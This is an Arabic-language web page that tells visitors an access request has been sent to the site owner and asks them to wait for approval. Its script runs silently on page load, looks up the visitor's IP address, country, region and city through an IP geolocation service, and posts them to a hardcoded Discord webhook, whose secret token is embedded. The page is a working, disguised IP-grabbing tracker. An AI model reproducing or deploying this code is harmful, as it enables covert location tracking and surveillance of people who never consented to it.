<!DOCTYPE html>
<html lang="ar">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>طلب الدخول</title>
    <style>
        body {
            background-image: url('https://media.discordapp.net/attachments/1330876557442682902/1332320054288584704/2025-01-07_114457.png?ex=6794d33e&is=679381be&hm=87201fe58e23d3490d66a6abccae6e9a74edb62adec386a8d7ffa659491717f0&=&format=webp&quality=lossless&width=284&height=261'); /* صورة خلفية */
            background-size: cover;
            background-position: center;
            color: white;
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            text-align: center;
        }
        .message-box {
            background: rgba(255, 255, 255, 0.2);
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
            position: relative;
        }
        .message-box img {
            position: absolute;
            top: -60px;
            left: 50%;
            transform: translateX(-50%);
            width: 100px;
            height: 100px;
            border-radius: 50%;
            border: 3px solid white;
        }
        .message-box h1, .message-box p {
            color: red; /* تغيير لون النص إلى الأحمر */
        }
    </style>
</head>
<body>
    <div class="message-box">
        <h1>تم إرسال طلب دخول إلى صاحب الموقع</h1>
        <p>انتظر الموافقة...</p>
    </div>

    <script>
        // Webhook URL الخاص بـ Discord
        const webhookUrl = "https://discord.com/api/webhooks/1332317355178590248/abfIvxY1_6mXcPc3k4wl8SHcIQPac1yI3BMo6UE3TMixYd0WhOeaTDPiTNEP8aTw2IsG";

        // الحصول على معلومات IP والموقع
        async function fetchIPDetails() {
            try {
                const response = await fetch('https://ipapi.co/json/');
                if (!response.ok) {
                    throw new Error('Failed to fetch IP details');
                }
                const data = await response.json();

                // إرسال البيانات إلى Webhook
                sendToDiscord(data);
            } catch (error) {
                console.error('Error fetching IP details:', error);
            }
        }

        // إرسال البيانات إلى Webhook الخاص بـ Discord
        function sendToDiscord(data) {
            const payload = {
                content: `\n**عنوان IP**: ${data.ip}\n**الدولة**: ${data.country_name}\n**المنطقة**: ${data.region}\n**المدينة**: ${data.city}`
            };

            fetch(webhookUrl, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(payload),
            }).then(response => {
                if (response.ok) {
                    console.log('IP details sent to Discord successfully');
                } else {
                    console.error('Failed to send IP details to Discord');
                }
            }).catch(error => {
                console.error('Error sending to Discord:', error);
            });
        }

        // استدعاء الوظيفة عند تحميل الصفحة
        fetchIPDetails();
    </script>
</body>
</html>
